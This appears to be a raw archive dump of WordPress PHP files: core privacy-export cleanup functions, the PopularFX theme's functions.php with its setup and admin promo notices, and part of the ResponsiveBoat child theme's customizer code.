* Filters the URL of the directory used to store personal data export files.
*
* @since 4.9.6
*
* @param string $exports_url Exports directory URL.
*/
return apply_filters( 'wp_privacy_exports_url', $exports_url );
}
/**
* Schedule a `WP_Cron` job to delete expired export files.
*
* @since 4.9.6
*/
function wp_schedule_delete_old_privacy_export_files() {
if ( wp_installing() ) {
return;
}
if ( ! wp_next_scheduled( 'wp_privacy_delete_old_export_files' ) ) {
wp_schedule_event( time(), 'hourly', 'wp_privacy_delete_old_export_files' );
}
}
/**
* Cleans up export files older than three days old.
*
* The export files are stored in `wp-content/uploads`, and are therefore publicly
* accessible. A CSPRN is appended to the filename to mitigate the risk of an
* unauthorized person downloading the file, but it is still possible. Deleting
* the file after the data subject has had a chance to delete it adds an additional
* layer of protection.
*
* @since 4.9.6
*/
function wp_privacy_delete_old_export_files() {
require_once( ABSPATH . 'wp-admin/includes/file.php' );
$exports_dir = wp_privacy_exports_dir();
$export_files = list_files( $exports_dir, 100, array( 'index.html' ) );
/**
* Filters the lifetime, in seconds, of a personal data export file.
*
* By default, the lifetime is 3 days. Once the file reaches that age, it will automatically
* be deleted by a cron job.
*
* @since 4.9.6
*
* @param int $expiration The expiration age of the export, in seconds.
*/
$expiration = apply_filters( 'wp_privacy_export_expiration', 3 * DAY_IN_SECONDS );
foreach ( (array) $export_files as $export_file ) {
$file_age_in_seconds = time() - filemtime( $export_file );
if ( $expiration < $file_age_in_seconds ) {
unlink( $export_file );
}
}
}
home/xbodynamge/crosstraining/wp-content/themes/custom-file-5-1751661813/functions.php 0000644 00000061720 15113005311 0024273 0 ustar 00 <?php
/**
* PopularFX functions and definitions
*
* @link https://popularfx.com/docs/
*
* @package PopularFX
*/
if ( ! defined( 'POPULARFX_VERSION' ) ) {
// Replace the version number of the theme on each release.
define( 'POPULARFX_VERSION', '1.2.6' );
}
if ( ! defined( 'POPULARFX_PAGELAYER_API' ) ) {
define( 'POPULARFX_PAGELAYER_API', 'https://api.pagelayer.com/' );
}
if ( ! defined( 'POPULARFX_WWW_URL' ) ) {
define( 'POPULARFX_WWW_URL', 'https://popularfx.com' );
}
if ( ! defined( 'POPULARFX_PRO_URL' ) ) {
define( 'POPULARFX_PRO_URL', 'https://popularfx.com/pricing?from=pfx-theme' );
}
if ( ! defined( 'POPULARFX_URL' ) ) {
define( 'POPULARFX_URL', get_template_directory_uri() );
}
if(!defined('PAGELAYER_VERSION')){
define('POPULARFX_PAGELAYER_PRO_URL', 'https://pagelayer.com/pricing?from=pfx-theme');
}
if ( ! function_exists( 'popularfx_setup' ) ){
/**
* Sets up theme defaults and registers support for various WordPress features.
*
* Note that this function is hooked into the after_setup_theme hook, which
* runs before the init hook. The init hook is too late for some features, such
* as indicating support for post thumbnails.
*/
function popularfx_setup() {
/*
* Make theme available for translation.
* Translations can be filed in the /languages/ directory.
* If you're building a theme based on PopularFX, use a find and replace
* to change 'popularfx' to the name of your theme in all the template files.
*/
load_theme_textdomain( 'popularfx', get_stylesheet_directory() . '/languages' );
// Add default posts and comments RSS feed links to head.
add_theme_support( 'automatic-feed-links' );
/*
* Let WordPress manage the document title.
* By adding theme support, we declare that this theme does not use a
* hard-coded <title> tag in the document head, and expect WordPress to
* provide it for us.
*/
add_theme_support( 'title-tag' );
/*
* Enable support for Post Thumbnails on posts and pages.
*
* @link https://developer.wordpress.org/themes/functionality/featured-images-post-thumbnails/
*/
add_theme_support( 'post-thumbnails' );
// This theme uses wp_nav_menu() in two locations.
register_nav_menus(
array(
'primary' => __( 'Primary Menu', 'popularfx' ),
)
);
/*
* Switch default core markup for search form, comment form, and comments
* to output valid HTML5.
*/
add_theme_support(
'html5',
array(
'search-form',
'comment-form',
'comment-list',
'gallery',
'caption',
'style',
'script',
)
);
// Add theme support for selective refresh for widgets.
add_theme_support( 'customize-selective-refresh-widgets' );
/**
* Add support for core custom logo.
*
* @link https://codex.wordpress.org/Theme_Logo
*/
add_theme_support(
'custom-logo',
array(
'height' => 250,
'width' => 250,
'flex-width' => true,
'flex-height' => true,
)
);
global $pagelayer, $popularfx;
if(!empty($pagelayer->settings)){
$pagelayer->template_call_sidebar = 1;
}
// Show promos
popularfx_promos();
$template = popularfx_get_template_name();
if(empty($template)){
// Set up the WordPress core custom background feature.
add_theme_support('custom-background',
apply_filters(
'popularfx_custom_background_args',
array(
'default-color' => 'ffffff',
'default-image' => '',
)
)
);
add_theme_support( 'custom-header',
apply_filters(
'popularfx_custom_header_args',
array(
'default-image' => '',
'default-text-color' => '000000',
'width' => 1200,
'height' => 250,
'flex-height' => true,
'wp-head-callback' => 'popularfx_header_style',
)
)
);
add_theme_support(
'custom-logo',
array(
'height' => 250,
'width' => 250,
'flex-width' => true,
'flex-height' => true,
)
);
}
// Add woocommerce support
add_theme_support( 'woocommerce', array(
'product_grid' => array(
'min_columns'=> 1,
'max_columns' => 6,
),
) );
add_theme_support( 'wc-product-gallery-lightbox' );
add_theme_support( 'wc-product-gallery-slider' );
}
}
add_action( 'after_setup_theme', 'popularfx_setup' );
/**
* Set the content width in pixels, based on the theme's design and stylesheet.
*
* Priority 0 to make it available to lower priority callbacks.
*
* @global int $content_width
*/
function popularfx_content_width() {
// This variable is intended to be overruled from themes.
// Open WPCS issue: {@link https://github.com/WordPress-Coding-Standards/WordPress-Coding-Standards/issues/1043}.
// phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedVariableFound
$GLOBALS['content_width'] = apply_filters( 'popularfx_content_width', 640 );
}
// To get activated template for parent and child theme
function popularfx_get_template_name(){
$tmp = get_option('theme_mods_popularfx');
$mods = !empty($tmp['popularfx_template']) ? $tmp['popularfx_template'] : '';
return $mods;
}
// Backward compat
function popularfx_copyright(){
return popularfx_theme_credits();
}
// Show credit of our theme
function popularfx_theme_credits(){
return '<a href="'.esc_url(POPULARFX_WWW_URL).'">'.__('PopularFX Theme', 'popularfx').'</a>';
}
// Shows the promos
function popularfx_promos(){
if(is_admin() && current_user_can('install_themes')){
//remove_theme_mod('popularfx_getting_started');
//remove_theme_mod('popularfx_templates_promo');
//remove_theme_mod('popularfx_show_promo');
// Show the getting started video option
$seen = get_theme_mod('popularfx_getting_started');
if(empty($seen)){
add_action('admin_notices', 'popularfx_getting_started_notice');
}
// Show the promo
popularfx_maybe_promo([
'after' => 1,// In days
'interval' => 30,// In days
'pro_url' => POPULARFX_PRO_URL,
'rating' => 'https://wordpress.org/themes/popularfx/#reviews',
'twitter' => 'https://twitter.com/PopularFXthemes?status='.rawurlencode('I love #PopularFX Theme by @pagelayer team for my #WordPress site - '.esc_url(home_url())),
'facebook' => 'https://facebook.com/popularfx',
'website' => POPULARFX_WWW_URL,
'image' => POPULARFX_URL.'/images/popularfx-logo.png',
'name' => 'popularfx_show_promo'
]);
$template = popularfx_get_template_name();
if(empty($template)){
// Show the image promo
popularfx_maybe_promo([
'after' => 0,// In days
'interval' => 30,// In days
'pro_url' => POPULARFX_PRO_URL,
'rating' => 'https://wordpress.org/themes/popularfx/#reviews',
'twitter' => 'https://twitter.com/PopularFXthemes?status='.rawurlencode('I love #PopularFX Theme by @pagelayer team for my #WordPress site - '.esc_url(home_url())),
'facebook' => 'https://facebook.com/popularfx',
'website' => POPULARFX_WWW_URL,
'image' => POPULARFX_URL.'/images/popularfx-logo.png',
'name' => 'popularfx_templates_promo'
]);
}
//delete_option('popularfx_templates_promo');
}
}
add_action( 'after_switch_theme', 'popularfx_promos', 10 );
/**
* Register widget area.
*
* @link https://developer.wordpress.org/themes/functionality/sidebars/#registering-a-sidebar
*/
function popularfx_widgets_init() {
register_sidebar(
array(
'name' => esc_html__( 'Sidebar', 'popularfx' ),
'id' => 'sidebar-1',
'description' => esc_html__( 'Add widgets here.', 'popularfx' ),
'before_widget' => '<section id="%1$s" class="widget %2$s">',
'after_widget' => '</section>',
'before_title' => '<h2 class="widget-title">',
'after_title' => '</h2>',
)
);
}
add_action( 'widgets_init', 'popularfx_widgets_init' );
// URL of the PFX templates uploads dir
function popularfx_templates_dir_url(){
$template = popularfx_get_template_name();
$style = get_template_directory().'/templates/'.$template.'/style.css';
if(file_exists($style)){
return get_stylesheet_directory_uri().'/templates';
}
$dir = wp_upload_dir(NULL, false);
return $dir['baseurl'].'/popularfx-templates';
}
// URL of the PFX templates uploads dir
function popularfx_templates_dir($suffix = true){
$template = popularfx_get_template_name();
$style = get_template_directory().'/templates/'.$template.'/style.css';
if(file_exists($style)){
return get_template_directory().'/templates'.($suffix ? '/'.$template : '');
}
$dir = wp_upload_dir(NULL, false);
return $dir['basedir'].'/popularfx-templates'.($suffix ? '/'.$template : '');
}
/**
* Enqueue scripts and styles.
*/
function popularfx_scripts() {
$template = popularfx_get_template_name();
if(!empty($template) && defined('PAGELAYER_VERSION')){
wp_enqueue_style( 'popularfx-style', popularfx_templates_dir_url().'/'.$template.'/style.css', array(), POPULARFX_VERSION );
}else{
wp_enqueue_style( 'popularfx-style', get_template_directory_uri().'/style.css', array(), POPULARFX_VERSION );
wp_style_add_data( 'popularfx-style', 'rtl', 'replace' );
}
// Enqueue sidebar.css
wp_enqueue_style( 'popularfx-sidebar', get_template_directory_uri().'/sidebar.css', array(), POPULARFX_VERSION );
// Dashicons needed for WooCommerce and Scroll to Top
if(class_exists( 'WooCommerce' ) || get_theme_mod('pfx_enable_scrolltop')){
wp_enqueue_style('dashicons');
}
// Enqueue WooCommerce CSS
if(class_exists( 'WooCommerce' )){
wp_enqueue_style( 'popularfx-woocommerce', get_template_directory_uri().'/woocommerce.css', array(), POPULARFX_VERSION );
wp_style_add_data( 'popularfx-woocommerce', 'rtl', 'replace' );
}
wp_enqueue_script( 'popularfx-navigation', get_template_directory_uri().'/js/navigation.js', array('jquery'), POPULARFX_VERSION, true );
if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
wp_enqueue_script( 'comment-reply' );
}
}
add_action( 'wp_enqueue_scripts', 'popularfx_scripts' );
function popularfx_the_title($before = '', $after = '', $echo = true){
if(is_page()){
return;
}
the_title($before, $after, $echo);
}
// Show the templates promo
function popularfx_templates_promo(){
global $popularfx_promo_opts, $popularfx;
if(!empty($GLOBALS['pfx_notices_shown'])){
return;
}
$GLOBALS['pfx_notices_shown'] = 1;
$opts = $popularfx_promo_opts['popularfx_templates_promo'];
echo '<style>
#popularfx_templates_promo{
border-left: 1px solid #ccd0d4;
}
.popularfx-templates-promo{
background: #fff;
padding: 5px;
}
.popularfx_promo_button {
background-color: #4CAF50; /* Green */
border: none;
color: white;
padding: 6px 10px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 13px;
margin: 4px 2px;
-webkit-transition-duration: 0.4s; /* Safari */
transition-duration: 0.4s;
cursor: pointer;
}
.popularfx_promo_button:focus,
.popularfx_promo_button:hover{
border: none;
color: white;
box-shadow: 0 6px 8px 0 rgba(0,0,0,0.24), 0 9px 25px 0 rgba(0,0,0,0.19);
color: white;
}
.popularfx_promo_buy {
color: white;
padding: 8px 12px;
font-size: 14px;
}
.popularfx_promo_button1 {
color: white;
background-color: #4CAF50;
border:3px solid #4CAF50;
}
.popularfx_promo_button1:hover {
border:3px solid #4CAF50;
}
.popularfx_promo_button2 {
color: white;
background-color: #0085ba;
}
.popularfx_promo_button3 {
color: white;
background-color: #365899;
}
.popularfx_promo_button4 {
color: white;
background-color: rgb(66, 184, 221);
}
.popularfx_promo-close{
float:right;
text-decoration:none;
margin: 5px 10px 0px 0px;
}
.popularfx_promo-close:hover{
color: red;
}
.popularfx_promo-left{
display: inline-block; max-width: 34%; vertical-align: top;
text-align: center;
}
.popularfx_promo-right{
display: inline-block; max-width: 65%; width: 65%; vertical-align: middle;
}
@media all and (max-width:599px){
.popularfx_promo-left, .popularfx_promo-right{
max-width: 100%;
}
}
</style>
<script type="application/javascript">
jQuery(document).ready(function(){
jQuery("#popularfx_templates_promo .popularfx_promo-close").click(function(){
var data;
jQuery("#popularfx_templates_promo").hide();
// Save this preference
jQuery.post("'.esc_url(admin_url('?'.$opts['name'].'=0')).'", data, function(response) {
//alert(response);
});
});
});
</script>
<div class="'.(empty($opts['class']) ? 'notice notice-success' : 'popularfx-templates-promo').'" id="popularfx_templates_promo" style="min-height:90px">
<div class="popularfx_promo-left">
<img src="'.esc_url(POPULARFX_URL.'/images/templates.png').'" width="85%" />
</div>
<div class="popularfx_promo-right">
<p align="center">
<a class="popularfx_promo-close" href="javascript:" aria-label="Dismiss this Notice">
<span class="dashicons dashicons-dismiss"></span> Dismiss
</a>
<a href="'.esc_url(POPULARFX_WWW_URL.'/templates').'" style="text-decoration: none; font-size: 15px;">
'.__('Did you know PopularFX comes with 500+ Templates to design your website. <br>Click to choose your template !', 'popularfx').'<br>
</a>
<br>
'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : '<a class="button button-primary" target="_blank" href="'.esc_url($opts['pro_url']).'">'.__('Buy PopularFX Pro', 'popularfx').'</a>').'
'.(empty($opts['rating']) ? '' : '<a class="button button-primary" target="_blank" href="'.esc_url($opts['rating']).'">'.__('Rate it 5★\'s', 'popularfx').'</a>').'
'.(empty($opts['facebook']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['facebook']).'"><span class="dashicons dashicons-thumbs-up" style="vertical-align: middle;"></span> '.__('Facebook', 'popularfx').'</a>').'
'.(empty($opts['twitter']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['twitter']).'"><span class="dashicons dashicons-twitter" style="vertical-align: middle;"></span> '.__('Tweet', 'popularfx').'</a>').'
'.(empty($opts['website']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['website']).'">'.__('Visit our website', 'popularfx').'</a>').'
</p>
</div>
</div>';
}
function popularfx_getting_started_notice(){
if(!empty($GLOBALS['pfx_notices_shown'])){
return;
}
$GLOBALS['pfx_notices_shown'] = 1;
// Are we to disable the promo
if(isset($_GET['popularfx-getting-started']) && (int)$_GET['popularfx-getting-started'] == 0){
check_ajax_referer('popularfx_getting_started_nonce', 'popularfx_nonce');
set_theme_mod('popularfx_getting_started', time());
die('DONE');
}
echo '
<script type="application/javascript">
jQuery(document).ready(function(){
jQuery("#popularfx-getting-started-notice").click(function(e){
if(jQuery(e.target).hasClass("notice-dismiss")){
var data;
jQuery("#popularfx-getting-started-notice").hide();
// Save this preference
jQuery.post("'.admin_url('?popularfx-getting-started=0&popularfx_nonce='.wp_create_nonce("popularfx_getting_started_nonce")).'", data, function(response) {
//alert(response);
});
return false;
}
});
});
</script>
<div id="popularfx-getting-started-notice" class="notice notice-success is-dismissible">
<p style="font-size: 14px; font-weight: 600">
<a href="'.esc_url(POPULARFX_WWW_URL).'"><img src="'.esc_url(POPULARFX_URL).'/images/popularfx-logo.png" style="vertical-align: middle; margin:0px 10px" width="24" /></a>'.__('Thanks for choosing PopularFX. We recommend that you see the <a href="https://www.youtube.com/watch?v=DCisrbrmjgI" target="_blank">PopularFX Theme Guide Video</a> to know the basics of PopularFX.', 'popularfx').'
</p>
</div>';
}
// Show promo notice on dashboard
function popularfx_show_promo($opts = []){
global $popularfx_promo_opts, $popularfx;
if(!empty($GLOBALS['pfx_notices_shown'])){
return;
}
$GLOBALS['pfx_notices_shown'] = 1;
$opts = $popularfx_promo_opts['popularfx_show_promo'];
echo '<style>
#popularfx_promo{
border-left: 1px solid #ccd0d4;
}
.popularfx_promo_button {
background-color: #4CAF50; /* Green */
border: none;
color: white;
padding: 6px 10px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 13px;
margin: 4px 2px;
-webkit-transition-duration: 0.4s; /* Safari */
transition-duration: 0.4s;
cursor: pointer;
}
.popularfx_promo_button:focus,
.popularfx_promo_button:hover{
border: none;
color: white;
box-shadow: 0 6px 8px 0 rgba(0,0,0,0.24), 0 9px 25px 0 rgba(0,0,0,0.19);
color: white;
}
.popularfx_promo_buy {
color: white;
padding: 8px 12px;
font-size: 14px;
}
.popularfx_promo_button1 {
color: white;
background-color: #4CAF50;
border:3px solid #4CAF50;
}
.popularfx_promo_button1:hover {
border:3px solid #4CAF50;
}
.popularfx_promo_button2 {
color: white;
background-color: #0085ba;
}
.popularfx_promo_button3 {
color: white;
background-color: #365899;
}
.popularfx_promo_button4 {
color: white;
background-color: rgb(66, 184, 221);
}
.popularfx_promo-close{
float:right;
text-decoration:none;
margin: 5px 10px 0px 0px;
}
.popularfx_promo-close:hover{
color: red;
}
.popularfx_promo-left-1{
display: inline-block; width: 65%; vertical-align: top;
}
.popularfx_promo-right-1{
display: inline-block; width: 35%; vertical-align: top
}
@media all and (max-width:599px){
.popularfx_promo-left, .popularfx_promo-right{
width: 100%;
}
}
</style>
<script type="application/javascript">
jQuery(document).ready(function(){
jQuery("#popularfx_promo .popularfx_promo-close").click(function(){
var data;
jQuery("#popularfx_promo").hide();
// Save this preference
jQuery.post("'.esc_url(admin_url('?'.$opts['name'].'=0')).'", data, function(response) {
//alert(response);
});
});
});
</script>
<div class="notice notice-success" id="popularfx_promo" style="min-height:90px">
<div class="popularfx_promo-left-1">';
if(!empty($opts['image'])){
echo '<a href="'.esc_url($opts['website']).'"><img src="'.esc_url($opts['image']).'" style="float:left; margin:25px 20px 10px 10px" width="67" /></a>';
}
echo '
<p style="font-size:14px; line-height: 1.6">'.sprintf( __('We are glad you are using %1$s to build your website. We really appreciate it ! <br>We would like to request you to give us a 5 Star rating on %2$s. <br>It will greatly boost our motivation !', 'popularfx'), '<a href="'.$opts['website'].'"><b>PopularFX</b></a>', '<a href="'.$opts['rating'].'" target="_blank">WordPress.org</a>').'</p>
<p>
'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : '<a class="button button-primary" target="_blank" href="'.esc_url($opts['pro_url']).'">'.__('Buy PopularFX Pro', 'popularfx').'</a>').'
'.(empty($opts['rating']) ? '' : '<a class="button button-primary" target="_blank" href="'.esc_url($opts['rating']).'">'.__('Rate it 5★\'s', 'popularfx').'</a>').'
'.(empty($opts['facebook']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['facebook']).'"><span class="dashicons dashicons-thumbs-up" style="vertical-align: middle;"></span> '.__('Facebook', 'popularfx').'</a>').'
'.(empty($opts['twitter']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['twitter']).'"><span class="dashicons dashicons-twitter" style="vertical-align: middle;"></span> '.__('Tweet', 'popularfx').'</a>').'
'.(empty($opts['website']) ? '' : '<a class="button button-secondary" target="_blank" href="'.esc_url($opts['website']).'">'.__('Visit our website', 'popularfx').'</a>').'
</p>
'.(empty($opts['pro_url']) || !empty($popularfx['license']) ? '' : '<p style="font-size:13px">'.sprintf( __('%1$s has many more features like 500+ Website %2$s Templates%3$s, 90+ widgets, 500+ sections, Theme Builder, WooCommerce Builder, Theme Creator and Exporter, Form Builder, Popup Builder, etc. You get a Pagelayer Pro license with the PopularFX Pro version.', 'popularfx'), '<a href="'.esc_url($opts['pro_url']).'"><b>PopularFX Pro</b></a>', '<a href="'.esc_url($opts['website'].'/templates').'">', '</a>').'
</p>').'
</div>';
echo '<div class="popularfx_promo-right-1">
<a class="popularfx_promo-close" href="javascript:" aria-label="'.__('Dismiss this Notice', 'popularfx').'">
<span class="dashicons dashicons-dismiss"></span> '.__('Dismiss', 'popularfx').'
</a>
<br>
<center style="margin:10px;">
<a href="'.esc_url(POPULARFX_WWW_URL.'/templates').'" style="text-decoration: none; font-size: 15px;"><img src="'.esc_url(POPULARFX_URL.'/images/templates.png').'" width="100%" /><br><br>'.__('Install from 500+ Website Templates', 'popularfx').'</a>
</center>
</div>
</div>';
}
// Are we to show a promo ?
function popularfx_maybe_promo($opts){
global $popularfx_promo_opts;
// There must be an interval
if(empty($opts['interval'])){
return false;
}
// Are we to show a promo
$opt_name = empty($opts['name']) ? 'popularfx_show_promo' : $opts['name'];
$func = empty($opts['name']) ? $opt_name : $opts['name'];
$promo_time = get_theme_mod($opt_name);
//echo $opt_name.' - '.$func.' - '.$promo_time.' - '.date('Ymd', $promo_time).'<br>';die();
// First time access
if(empty($promo_time)){
set_theme_mod($opt_name, time() + (!empty($opts['after']) ? $opts['after'] * 86400 : 0));
$promo_time = get_theme_mod($opt_name);
}
// Is there interval elapsed
if(time() >= $promo_time){
$popularfx_promo_opts[$opt_name] = $opts;
add_action('admin_notices', $func);
}
// Are we to disable the promo
if(isset($_GET[$opt_name]) && (int)$_GET[$opt_name] == 0){
set_theme_mod($opt_name, time() + ($opts['interval'] * 86400));
die('DONE');
}
}
// Is the sidebar enabled
function popularfx_sidebar(){
// If no widgets in sidebar
if ( ! is_active_sidebar( 'sidebar-1' ) ) {
return;
}
$enabled = NULL;
// For page
if(is_page()){
$enabled = get_theme_mod('popularfx_sidebar_page', 'default');
}
$is_product = class_exists('WooCommerce') && is_product() ? true : false;
// For products none !
if(is_single() && $is_product){
$enabled = '0';
// For posts
}elseif(is_single()){
$enabled = get_theme_mod('popularfx_sidebar_post', 'right');
}
// For Archives
if(is_archive() || is_home()){
$enabled = get_theme_mod('popularfx_sidebar_archives', 'right');
}
// For Woocommerce
if(class_exists( 'WooCommerce' ) && is_shop()){
$enabled = get_theme_mod('popularfx_sidebar_woocommerce', 0);
}
// Load the default
if($enabled == 'default' || is_front_page()){
$enabled = get_theme_mod('popularfx_sidebar_default', 0);
}
// If its disabled
if(empty($enabled)){
return;
}
// In live mode of templates dont show this for header and footer
if(function_exists('pagelayer_is_live') && pagelayer_is_live()){
$pl_post_type = get_post_meta($GLOBALS['post']->ID, 'pagelayer_template_type', true);
if(in_array($pl_post_type, ['header', 'footer'])){
return;
}
}
return $enabled;
}
add_action('wp_enqueue_scripts', 'popularfx_sidebar_css', 1000);
function popularfx_sidebar_css(){
// Sidebar CSS
$enabled = popularfx_sidebar();
if(empty($enabled)){
return;
}
$width = (int) get_theme_mod('popularfx_sidebar_width', 20);
$custom_css = '
aside {
width: '.esc_attr($width).'%;
float: '.esc_attr($enabled).';
}
main, .pagelayer-content{
width: '.round(99 - esc_attr($width)).'% !important;
display: inline-block;
float: '.esc_attr($enabled == 'left' ? 'right' : 'left').';
}'.PHP_EOL;
wp_add_inline_style('popularfx-style', $custom_css);
}
if ( ! function_exists( 'popularfx_header_style' ) ) :
/**
* Styles the header image and text displayed on the blog.
*
* @see popularfx_custom_header_setup().
*/
function popularfx_header_style() {
$header_text_color = get_header_textcolor();
/*
* If no custom options for text are set, let's bail.
* get_header_textcolor() options: Any hex value, 'blank' to hide text. Default: add_theme_support( 'custom-header' ).
*/
if ( get_theme_support( 'custom-header', 'default-text-color' ) === $header_text_color ) {
return;
}
// If we get this far, we have custom styles. Let's do this.
?>
<style type="text/css">
<?php
// Has the text been hidden?
if ( ! display_header_text() ) :
?>
.site-title,
.site-description {
position: absolute;
clip: rect(1px, 1px, 1px, 1px);
}
<?php
// If the user has set a custom color for the text use that.
else :
?>
.site-title a,
.site-description {
color: #<?php echo esc_attr( $header_text_color ); ?>;
}
<?php endif; ?>
</style>
<?php
}
endif;
add_action( 'wp_footer', 'popularfx_footer_setup' );
if( ! function_exists( 'popularfx_footer_setup' )){
function popularfx_footer_setup(){
$pfx_enable_scrolltop = get_theme_mod('pfx_enable_scrolltop');
if(empty($pfx_enable_scrolltop)){
return;
}
echo '<a id="pfx-scroll-top" class="pfx-scroll-top"><span class="dashicons dashicons-arrow-up-alt2"></span><span class="screen-reader-text">Scroll to Top</span></a>';
}
}
/**
* Custom template tags for this theme.
*/
require dirname( __FILE__ ) . '/inc/template-tags.php';
/**
* Functions which enhance the theme by hooking into WordPress.
*/
require dirname( __FILE__ ) . '/inc/template-functions.php';
/**
* Customizer additions.
*/
require dirname( __FILE__ ) . '/inc/customizer.php';
/**
* Load WooCommerce compatibility file.
*/
if ( class_exists( 'WooCommerce' ) ) {
require dirname( __FILE__ ) . '/inc/woocommerce.php';
}
// Update the theme
require_once dirname( __FILE__ ) . '/inc/popularfx.php';
home/xbodynamge/www/wp-content/themes/responsiveboat/functions.php 0000604 00000023217 15113120073 0021616 0 ustar 00 <?php
function responsiveboat_setup() {
add_image_size('rb_latest_news_photo', 480, 480, true);
}
add_action('after_setup_theme', 'responsiveboat_setup');
/* Theme Customizer */
function responsiveboat_customize_register( $wp_customize ) {
$responsiveboat_parent_theme = get_template();
if( !empty($responsiveboat_parent_theme) && ($responsiveboat_parent_theme == 'zerif-pro') ):
/* Remove About us section */
$wp_customize->remove_panel('panel_6');
else:
/* Remove About us section and Contact us */
$wp_customize->remove_panel('panel_about');
$wp_customize->remove_section('zerif_aboutus_settings_section');
$wp_customize->remove_section('zerif_aboutus_main_section');
$wp_customize->remove_section('zerif_aboutus_feat1_section');
$wp_customize->remove_section('zerif_aboutus_feat2_section');
$wp_customize->remove_section('zerif_aboutus_feat3_section');
$wp_customize->remove_section('zerif_aboutus_feat4_section');
$wp_customize->remove_section('zerif_aboutus_clients_section');
$wp_customize->remove_section('zerif_contactus_section');
endif;
/**************************************/
/********** Big title image **********/
/*************************************/
if( !empty($responsiveboat_parent_theme) && ($responsiveboat_parent_theme == 'zerif-pro') ):
$wp_customize->add_setting( 'rb_bigtitle_logo', array('sanitize_callback' => 'esc_url_raw' , 'default' => get_stylesheet_directory_uri().'/images/logo-small.png'));
$wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'rb_bigtitle_logo', array(
'label' => __( 'Header Logo', 'responsiveboat' ),
'section' => 'zerif_bigtitle_texts_section',
'priority' => 7,
)));
else:
$wp_customize->add_setting( 'rb_bigtitle_logo', array('sanitize_callback' => 'esc_url_raw' , 'default' => get_stylesheet_directory_uri().'/images/logo-small.png'));
$wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'rb_bigtitle_logo', array(
'label' => __( 'Header Logo', 'responsiveboat' ),
'section' => 'zerif_bigtitle_section',
'priority' => 7,
)));
endif;
/**************************************/
/******** About me section *********/
/*************************************/
$wp_customize->add_section( 'rb_aboutyou_section' , array(
'title' => __( 'About you section', 'responsiveboat' ),
'priority' => 34
));
/* about you show/hide */
$wp_customize->add_setting( 'rb_aboutyou_show', array('sanitize_callback' => 'responsiveboat_sanitize_text'));
$wp_customize->add_control(
'rb_aboutyou_show',
array(
'type' => 'checkbox',
'label' => __('Hide about you section?','responsiveboat'),
'section' => 'rb_aboutyou_section',
'priority' => 1,
)
);
/* title */
$wp_customize->add_setting( 'rb_aboutyou_title', array('sanitize_callback' => 'responsiveboat_sanitize_text','default' => __('About you','responsiveboat')));
$wp_customize->add_control( 'rb_aboutyou_title', array(
'label' => __( 'Title', 'responsiveboat' ),
'section' => 'rb_aboutyou_section',
'priority' => 2,
));
/* subtitle */
$wp_customize->add_setting( 'rb_aboutyou_subtitle', array('sanitize_callback' => 'responsiveboat_sanitize_text','default' => __('Use this section to showcase important details about you.','responsiveboat')));
$wp_customize->add_control( 'rb_aboutyou_subtitle', array(
'label' => __( 'Subtitle', 'responsiveboat' ),
'section' => 'rb_aboutyou_section',
'priority' => 3,
));
/* text */
$wp_customize->add_setting( 'rb_aboutyou_text', array('sanitize_callback' => 'responsiveboat_sanitize_text','default' => __('Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla nec massa enim. Aliquam viverra at est ullamcorper sollicitudin. Proin a leo sit amet nunc malesuada imperdiet pharetra ut eros.<br><br> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla nec massa enim. Aliquam viverra at est ullamcorper sollicitudin. Proin a leo sit amet nunc malesuada imperdiet pharetra ut eros. <br><br>Mauris vel nunc at ipsum fermentum pellentesque quis ut massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Maecenas non adipiscing massa. Sed ut fringilla sapien. Cras sollicitudin, lectus sed tincidunt cursus, magna lectus vehicula augue, a lobortis dui orci et est.','responsiveboat')));
$wp_customize->add_control( 'rb_aboutyou_text', array(
'label' => __( 'Text', 'responsiveboat' ),
'section' => 'rb_aboutyou_section',
'priority' => 4,
));
/* image */
$wp_customize->add_setting( 'rb_aboutyou_image', array('sanitize_callback' => 'esc_url_raw' , 'default' => get_stylesheet_directory_uri().'/images/about.jpg'));
$wp_customize->add_control( new WP_Customize_Image_Control( $wp_customize, 'rb_aboutyou_image', array(
'label' => __( 'Image', 'responsiveboat' ),
'section' => 'rb_aboutyou_section',
'priority' => 5,
)));
}
add_action( 'customize_register', 'responsiveboat_customize_register', 20 );
function responsiveboat_sanitize_text( $input ) {
return wp_kses_post( force_balance_tags( $input ) );
}
add_action( 'wp_enqueue_scripts', 'responsiveboat_enqueue_styles' );
function responsiveboat_enqueue_styles() {
wp_enqueue_style( 'responsiveboat-font', '//fonts.googleapis.com/css?family=Titillium+Web:400,300,300italic,200italic,200,400italic,600,600italic,700,700italic,900');
wp_enqueue_style( 'responsiveboat-style', get_template_directory_uri() . '/style.css', array('zerif_bootstrap_style') );
}
function responsiveboat_custom_script_fix1()
{
wp_enqueue_script('responsiveboat-script', get_stylesheet_directory_uri() . '/js/responsive_boat_script.js', array(), '201202067', true);
}
add_action( 'wp_enqueue_scripts', 'responsiveboat_custom_script_fix1' );
function responsiveboat_remove_style_child(){
remove_action('wp_print_scripts','zerif_php_style');
}
add_action( 'wp_enqueue_scripts', 'responsiveboat_remove_style_child', 100 );
/* get first image from a post content or get a default image */
function responsiveboat_get_first_image_from_post() {
global $post, $posts;
$zerif_first_img = '';
ob_start();
ob_end_clean();
$output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $zerif_matches);
if( !empty($zerif_matches[1][0]) ):
$zerif_first_img = '<img src="'.$zerif_matches[1][0].'">';
endif;
if(empty($zerif_first_img)):
$zerif_first_img = '<img src="'.get_template_directory_uri().'/images/blank-latestposts.png'.'">';
endif;
return $zerif_first_img;
}
/**
